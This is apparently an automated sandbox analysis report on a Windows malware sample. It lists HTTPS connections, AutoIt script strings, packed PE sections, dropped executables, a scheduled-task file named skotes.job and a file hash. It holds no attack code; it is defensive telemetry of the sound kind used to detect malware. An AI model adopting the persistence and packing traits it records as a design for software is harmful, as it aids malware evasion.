Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:49714 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:49716 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:49727 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:49743 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:58526 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:58528 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:58529 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:58530 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:58532 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:58534 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:58538 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:58539 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:58540 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:58541 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:58543 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:58545 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:58547 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:58554 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:58556 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:58557 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:58563 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:58565 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:58571 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.6:58574 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:58576 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.6:58581 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.6:58583 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:58586 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:58589 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:58591 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:58595 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.6:58607 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.6:58608 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.6:58616 version: TLS 1.2

System Summary

Binary is likely a compiled AutoIt script file

Source: c56bb4c016.exe, 0000000E.00000000.3008279719.00000000005B2000.00000002.00000001.01000000.00000010.sdmp	String found in binary or memory: This is a third-party compiled AutoIt script.		memstr_b14f6fdd-e
Source: c56bb4c016.exe, 0000000E.00000000.3008279719.00000000005B2000.00000002.00000001.01000000.00000010.sdmp	String found in binary or memory: AnyArabicArmenianAvestanBalineseBamumBassa_VahBatakBengaliBopomofoBrahmiBrailleBugineseBuhidCCanadian_AboriginalCarianCaucasian_AlbanianCcCfChakmaChamCherokeeCnCoCommonCopticCsCuneiformCypriotCyrillicDeseretDevanagariDuployanEgyptian_HieroglyphsElbasanEthiopicGeorgianGlagoliticGothicGranthaGreekGujaratiGurmukhiHanHangulHanunooHebrewHiraganaImperial_AramaicInheritedInscriptional_PahlaviInscriptional_ParthianJavaneseKaithiKannadaKatakanaKayah_LiKharoshthiKhmerKhojkiKhudawadiLL&LaoLatinLepchaLimbuLinear_ALinear_BLisuLlLmLoLtLuLycianLydianMMahajaniMalayalamMandaicManichaeanMcMeMeetei_MayekMende_KikakuiMeroitic_CursiveMeroitic_HieroglyphsMiaoMnModiMongolianMroMyanmarNNabataeanNdNew_Tai_LueNkoNlNoOghamOl_ChikiOld_ItalicOld_North_ArabianOld_PermicOld_PersianOld_South_ArabianOld_TurkicOriyaOsmanyaPPahawh_HmongPalmyrenePau_Cin_HauPcPdPePfPhags_PaPhoenicianPiPoPsPsalter_PahlaviRejangRunicSSamaritanSaurashtraScSharadaShavianSiddhamSinhalaSkSmSoSora_SompengSundaneseSyloti_NagriSyriacTagalogTagbanwaTai_LeTai_ThamTai_VietTakriTamilTeluguThaanaThaiTibetanTifinaghTirhutaUgariticVaiWarang_CitiXanXpsXspXucXwdYiZZlZpZsSDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBoxSHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer		memstr_1808edc5-c

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: QQVU8579GXGT7ENXLIPV.exe.0.dr	Static PE information: section name:
Source: QQVU8579GXGT7ENXLIPV.exe.0.dr	Static PE information: section name: .idata
Source: 1X626IF7XY5V3PR2WUE6.exe.0.dr	Static PE information: section name:
Source: 1X626IF7XY5V3PR2WUE6.exe.0.dr	Static PE information: section name: .idata
Source: 1X626IF7XY5V3PR2WUE6.exe.0.dr	Static PE information: section name:
Source: skotes.exe.6.dr	Static PE information: section name:
Source: skotes.exe.6.dr	Static PE information: section name: .idata
Source: skotes.exe.6.dr	Static PE information: section name:
Source: random[1].exe.10.dr	Static PE information: section name:
Source: random[1].exe.10.dr	Static PE information: section name: .idata
Source: 9f543353fa.exe.10.dr	Static PE information: section name:
Source: 9f543353fa.exe.10.dr	Static PE information: section name: .idata
Source: random[1].exe0.10.dr	Static PE information: section name:
Source: random[1].exe0.10.dr	Static PE information: section name: .rsrc
Source: random[1].exe0.10.dr	Static PE information: section name: .idata
Source: random[1].exe0.10.dr	Static PE information: section name:
Source: 26972fc2ff.exe.10.dr	Static PE information: section name:
Source: 26972fc2ff.exe.10.dr	Static PE information: section name: .rsrc
Source: 26972fc2ff.exe.10.dr	Static PE information: section name: .idata
Source: 26972fc2ff.exe.10.dr	Static PE information: section name:
Source: HGRF5Z7TYW7E33AW.exe.11.dr	Static PE information: section name:
Source: HGRF5Z7TYW7E33AW.exe.11.dr	Static PE information: section name: .idata
Source: DPC5AH8Z21J6G318GX0VJU1F4VSM.exe.11.dr	Static PE information: section name:
Source: DPC5AH8Z21J6G318GX0VJU1F4VSM.exe.11.dr	Static PE information: section name: .idata
Source: DPC5AH8Z21J6G318GX0VJU1F4VSM.exe.11.dr	Static PE information: section name:
Source: 76O2EO62U6RFDJ26N.exe.13.dr	Static PE information: section name:
Source: 76O2EO62U6RFDJ26N.exe.13.dr	Static PE information: section name: .idata
Source: 1S0XA6IQD86G5I9WZX.exe.13.dr	Static PE information: section name:
Source: 1S0XA6IQD86G5I9WZX.exe.13.dr	Static PE information: section name: .idata
Source: 1S0XA6IQD86G5I9WZX.exe.13.dr	Static PE information: section name:
Source: 4HKD0R439Q1BOYMAOJT8.exe.17.dr	Static PE information: section name:
Source: 4HKD0R439Q1BOYMAOJT8.exe.17.dr	Static PE information: section name: .idata
Source: 4HKD0R439Q1BOYMAOJT8.exe.17.dr	Static PE information: section name:

PE file has a writeable .text section

Source: num[1].exe.10.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: num.exe.10.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Source: C:\Users\user\AppData\Local\Temp\1X626IF7XY5V3PR2WUE6.exe

File created: C:\Windows\Tasks\skotes.job

Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00B3D0DA	0_3_00B3D0DA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00B3D0DA	0_3_00B3D0DA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00B3D0DA	0_3_00B3D0DA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00B3D0DA	0_3_00B3D0DA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00AFEA67	0_3_00AFEA67
Source: C:\Users\user\AppData\Local\Temp\QQVU8579GXGT7ENXLIPV.exe	Code function: 5_2_005E5000	5_2_005E5000
Source: C:\Users\user\AppData\Local\Temp\QQVU8579GXGT7ENXLIPV.exe	Code function: 5_2_00622879	5_2_00622879
Source: C:\Users\user\AppData\Local\Temp\QQVU8579GXGT7ENXLIPV.exe	Code function: 5_2_0046DDD8	5_2_0046DDD8
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Code function: 11_3_007CC732	11_3_007CC732
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Code function: 11_3_007CC732	11_3_007CC732
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Code function: 11_3_007CC732	11_3_007CC732
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Code function: 11_3_007CC732	11_3_007CC732
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Code function: 11_3_007CC732	11_3_007CC732
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Code function: 11_3_007CC732	11_3_007CC732
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Code function: 11_3_007CC732	11_3_007CC732
Source: C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe	Code function: 11_3_007CC732	11_3_007CC732

Source: Joe Sandbox View

Dropped File: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\num[1].exe A8ADDC675FCC27C94FF9E4775BB2E090F4DA1287AAE6B95CECC65CCF533BC61D

Source: file.exe, 00000000.00000003.2303994470.00000000058A7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2314685406.00000000058A7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2309130956.00000000058A6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2334696390.0000000000B57000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2311021896.0000000005990000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2309721276.00000000058AB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2315389455.00000000058AC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2304164584.00000000058A4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2304985581.0000000005949000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2317405626.00000000059DE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2313625679.00000000059AA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2310111391.00000000058A5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2312770903.00000000058A2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2312197144.00000000059A1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2307460365.0000000005A11000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2314943415.00000000058AA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2310544916.00000000058AD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2317248780.00000000058AF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2319342522.00000000058A5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2306994094.00000000058B1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2311246507.0000000005987000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2317757104.00000000059D2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2314293093.00000000058A3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2314811107.00000000059B4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2315081597.00000000059BD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2316486315.0000000005AEB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2308673486.00000000058A9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2314429936.00000000059AA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2314558562.0000000005ABF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2318417262.00000000059E2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2316957715.00000000058B0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2319508429.00000000059E9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2307250695.00000000058AA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2310775703.000000000598C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2312429071.0000000005992000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2306214539.00000000058AA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2316636197.00000000058AA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2306857438.0000000005A00000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2309234781.000000000596E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2309828178.0000000005972000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2317107304.00000000059DE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2315664071.00000000058B1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2309023327.0000000005964000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2309633665.0000000005A3D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2310295357.000000000597B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2311133373.00000000058AB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2306737042.000000000594D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2310895390.00000000058AA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2306387624.0000000005951000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2313123832.0000000005A8B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2334582538.000000000541C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2304507389.00000000058AA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2305320925.00000000058A8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2307686262.000000000595A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2307787099.00000000058A4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2312059284.00000000058B1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2307345442.000000000595A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2311365895.00000000058A3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2333692319.00000000058A5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2308904765.00000000058A7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2319175017.00000000059F1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2303833737.00000000056A2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2314166973.00000000059A5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2318887295.0000000005B30000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2305210446.0000000005950000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2316814073.00000000059D4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2315823134.00000000059CE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2315966090.00000000058A9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2319032591.00000000058A3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2308790760.0000000005970000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2318200319.00000000058AD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2307109397.000000000595C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2317529478.00000000058AA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2334461171.0000000005431000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2312301690.00000000058A6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2308038436.0000000005A20000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2311613424.0000000005A81000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2318585742.00000000058A9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2304295192.0000000005502000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2312987603.0000000005993000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2304082096.0000000005504000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2308561026.0000000005971000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2303905566.000000000550E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2310415469.0000000005A4B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2307905928.0000000005957000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2308459642.00000000058A3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2307569304.00000000058AB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2305535397.000000000594A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2314041050.00000000058A7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2318739867.00000000059E2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2313377158.00000000059AD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2313501409.00000000058A3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2313253558.00000000058AE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2312556621.00000000058A4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2319924067.0000000005B3C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2306620892.00000000058A2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2312651184.0000000005995000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2313754507.00000000058A6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2316339225.00000000059C8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2334646602.0000000000B4C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2305089786.00000000058AA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2313887146.00000000059B0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2317968028.0000000005B10000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2334554877.00000000054C9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2315221673.0000000005ADF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2315522912.00000000059C4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2311478897.000000000598F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe	Static PE information: Section: ZLIB complexity 0.9980040164576802
Source: 1X626IF7XY5V3PR2WUE6.exe.0.dr	Static PE information: Section: ZLIB complexity 0.9984566587193461
Source: 1X626IF7XY5V3PR2WUE6.exe.0.dr	Static PE information: Section: febftsfn ZLIB complexity 0.9949437518718179
Source: skotes.exe.6.dr	Static PE information: Section: ZLIB complexity 0.9984566587193461
Source: skotes.exe.6.dr	Static PE information: Section: febftsfn ZLIB complexity 0.9949437518718179
Source: random[1].exe.10.dr	Static PE information: Section: ZLIB complexity 0.9980040164576802
Source: 9f543353fa.exe.10.dr	Static PE information: Section: ZLIB complexity 0.9980040164576802
Source: random[1].exe0.10.dr	Static PE information: Section: fcyxulxu ZLIB complexity 0.995107030089153
Source: 26972fc2ff.exe.10.dr	Static PE information: Section: fcyxulxu ZLIB complexity 0.995107030089153
Source: DPC5AH8Z21J6G318GX0VJU1F4VSM.exe.11.dr	Static PE information: Section: ZLIB complexity 0.9984566587193461
Source: DPC5AH8Z21J6G318GX0VJU1F4VSM.exe.11.dr	Static PE information: Section: febftsfn ZLIB complexity 0.9949437518718179
